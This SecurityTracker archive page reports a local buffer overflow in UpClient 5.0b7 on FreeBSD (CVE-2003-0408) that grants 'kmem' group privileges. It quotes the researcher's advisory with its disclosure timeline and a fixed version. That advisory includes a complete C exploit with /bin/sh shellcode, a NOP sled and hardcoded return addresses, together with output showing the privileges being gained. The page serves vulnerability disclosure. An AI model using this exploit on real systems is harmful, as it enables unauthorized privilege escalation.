SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Generic)  >   UpClient Vendors:   Broenland, Martijn et al
UpClient Command Line Buffer Overflow Grants 'kmem' Privileges to Local Users
SecurityTracker Alert ID:  1006851
SecurityTracker URL:  http://securitytracker.com/id/1006851
CVE Reference:   CVE-2003-0408   (Links to External Site)
Updated:  Jan 21 2004
Original Entry Date:  May 27 2003
Impact:   Execution of arbitrary code via local system, User access via local system
Fix Available:  Yes  Vendor Confirmed:  Yes  
Version(s): 5.0b7, possibly others
Description:   A buffer overflow vulnerability was reported in UpClient. A local user can gain elevated privileges on the system.

NuxAcid reported that on FreeBSD, the '/usr/ports/misc/upclient' file is installed by default with set group id (setgid) 'kmem' group privileges. A local user can invoke upclient with the '-p' command line argument and a specially crafted argument value to trigger a buffer overflow. Arbitrary code can be executed with 'kmem' group privileges.

Some demonstration exploit code is provided in the Source Message.

The following disclosure timeline is provided (dd.mm.yy):

23.05.03 - found vulnerability
23.05.03 - written proof of concept code
23.05.03 - informed the author(s)
25.05.03 - informed the freebsd security officers
26.05.03 - solution found
27.05.03 - public release

Impact:   A local user can obtain 'kmem' group privileges.
Solution:   The vendor has released a fixed version (5.0b8), available at:

http://uptimes.wonko.com/files/upclient-5.0b8.tar.gz
http://sf.net/project/showfiles.php?group_id=63012

Vendor URL:  uptimes.wonko.com/ (Links to External Site)
Cause:   Boundary error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   None.


 Source Message Contents

Subject:  NuxAcid#002 - Buffer Overflow in UpClient


+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
NUX-ACID ADVISORY #002

Advisory name           : Local Buffer Overflow in upclient 
Risk                    : Medium (exploit grants kmem rights)
Date                    : 27.05.2003
Application             : upclient
Versions Vulnerable     : UpClient 5.0b7, possible others
Vendor                  : Carsten Klapp <carstenklapp@users.sf.net> \
                          Ryan Grove ryan@wonko.com

Timeline:
23.05.03 - found vulnerability
23.05.03 - written proof of concept code
23.05.03 - informed the author(s)
25.05.03 - informed the freebsd security officers
26.05.03 - solution found
27.05.03 - public release


by Gino Thomas (alias 'dairaen'), http://www.nux-acid.org
This information is provided freely to all interested parties
and may be redistributed provided that it is not altered in any way

This advisory was provided under the policy 
documented at http://www.wiretrip.net/rfp/policy.html
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=


=+[Overview]+=

Uptime Client is a little program that keeps track of your uptime and
sends it to a server where you can compare it to many other hosts and
browse through various statistical information. 

WWW: http://uptimes.wonko.com/


=+[Description]+=

While pentesting the FreeBSD portstree i found /usr/ports/misc/upclient
vulnerable to a common buffer overflow.

on FreeBSD at least upclient is installed (default):
-r-xr-sr-x  1 root  kmem  28312 Mar 23 19:58 /usr/local/sbin/upclient

means, the attacker could get egid=2(kmem) groups=2(kmem) rights,
which at least provide read access to the following files:

develop# find / -group kmem
/dev/kmem
/dev/mem
/dev/perfmon
/usr/bin/fstat
/usr/bin/ipcs
/usr/bin/netstat
/usr/bin/systat
/usr/bin/top
/usr/bin/vmstat
/usr/sbin/iostat
/usr/sbin/pstat
/usr/sbin/swapinfo
/usr/sbin/trpt
/sbin/ccdconfig

Having egid=2(kmem) groups=2(kmem) makes it easier
to get root privileges.

>From 'man kmem':

"The special file /dev/mem is an interface to the physical memory of the
computer.  Byte offsets in this file are interpreted as physical memory
addresses.  Reading and writing this file is equivalent to reading and
writing memory itself.  Only offsets within the bounds of /dev/mem are
allowed.

Kernel virtual memory is accessed through the interface /dev/kmem in the
same manner as /dev/mem.  Only kernel virtual addresses that are cur-
rently mapped to memory are allowed."


=+[Proof]+=

See the exploit in action:

> id
uid=1001(admin) gid=1001(admin) groups=1001(admin), 0(wheel)
>./upclient_exploit
$ id
uid=1001(admin) gid=1001(admin) egid=2(kmem) groups=2(kmem), 
1001(admin),0(wheel)
$

-------------------------------upclient_exploit.c-------------------------------
/*
*       
* NuxAcid - UPCLIENT Local Buffer Overflow Exploit
* written on/for FreeBSD
* tested against UpClient 5.0b7 on FreeBSD 4.8
* for FreeBSD 5.x the code has to be tweaked
* other versions may be vulnerable too
*
* 2003 by Gino Thomas, http://www.nux-acid.org
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUFFERSIZE 1022


unsigned long get_sp(void) {
 __asm__("movl %esp, %eax");
}

int main(int argc, char **argv)
{
  char buffer[BUFFERSIZE] = "";

//FreeBSD exec/setuid Shellcode
static char shellcode[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

memset(buffer, 0x90 ,sizeof(buffer));
*(long *)&buffer[BUFFERSIZE - 4] = 0xbfbffb21;
*(long *)&buffer[BUFFERSIZE - 8] = 0xbfbffb21;
*(long *)&buffer[BUFFERSIZE - 16] = 0xbfbffb21;
memcpy(buffer + BUFFERSIZE - 16 - strlen(shellcode), shellcode, strlen(shellcode));

execl("/usr/local/sbin/upclient","upclient", "-p", buffer, NULL);
return 0;
}
-------------------------------upclient_exploit.c-------------------------------



=+[Solution]+=

The author was informed 23.05.03. He immediately
started to develop a patch and has taken security
very serious, always informing me about his steps
and willing to improve the overall security of 
upclient.


Patches:

upgrade to UpClient 5.0b8 at https://sourceforge.net/projects/upclient/



=+[Personal Marketing]+=

I am seeking a JOB in munich (germany).
If you have security related jobs to offer
please feel free to contact me at g.thomas@nux-acid.org

You can get a short overview of me and my skills
by reading the personal section of my website 
http://www.nux-acid.org

EOF


 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, SecurityGlobal.net LLC